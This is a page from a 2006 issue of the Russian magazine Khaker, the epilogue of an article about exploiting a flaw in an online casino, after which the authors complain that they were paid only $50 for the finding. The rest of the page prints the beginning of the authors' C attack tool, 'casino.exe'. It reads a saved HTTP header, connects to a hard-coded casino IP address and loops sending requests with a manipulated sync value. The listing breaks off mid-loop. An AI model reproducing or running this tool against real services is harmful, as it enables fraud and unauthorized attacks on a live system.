Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

Атака на цитадель алчности

goabruce & porosenok

Хакер, номер #091, стр. 091-078-4


Эпилог

Наши победили, народ ликует, пошли титры. Но мы не в Голливуде, и настоящая жизнь очень редко балует нас хэппиендами. Если ты еще раз прочитаешь введение, то вспомнишь, что мы просто хотели честно заработать, используя свой интеллект. Я думаю, ты согласишься с тем, что для казино такие ошибки чреваты большими последствиями, и оплата за их нахождение должна быть достойной. Но у жадных людей свои взгляды на жизнь и они оценили эту ошибку в 50 у.е. Что же получается? А то, что цитадель алчности победила, она получила аудит ПО с указанием найденных ошибок (представлена всего одна, но достаточно значимая) всего за 50 баков.

Робот-воин (исходный текст)

//*********************************************************************

// Для запуска требуется файл с заголовком HTTP-запроса

// Формат запуска casino.exe <sync_id> <text_header>

// sync_id - последующее значение поля sync

// text_header - имя файла с заголовком http-запроса без самого запроса

#include <winsock2.h>

#include <stdio.h>

#include <io.h>

#include <fcntl.h>

#include <conio.h>

int main(int argc, char* argv[])

{

char http_header[1024];

char file_header[1024];

char http_get[1024];

long sync;

SOCKADDR_IN sa;

WSADATA wsa;

int out;

int err;

char buf[256];

if(argc<3)

printf("Usage: casino.exe <sync_id> <text_header>");

sync=atoi(argv[1]);

if (WSAStartup(MAKEWORD(2,0),&wsa))

{

return 0;

}

memset(&sa,0,sizeof(SOCKADDR));

sa.sin_family=AF_INET;

sa.sin_port=htons(80);

sa.sin_addr.S_un.S_addr=inet_addr("217.74.42.151");

int f;

int i=0;

f=open(argv[2],O_BINARY|O_RDONLY);

while(!_eof(f))

{

read(f,&file_header[i++],1);

}

file_header[i++]=0;

while(!kbhit())

{

out=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (out==INVALID_SOCKET)

{

return 0;

}

err=connect(out,(const SOCKADDR *)&sa,sizeof(SOCKADDR));

Назад на стр. 091-078-3  Содержание  Вперед на стр. 091-078-5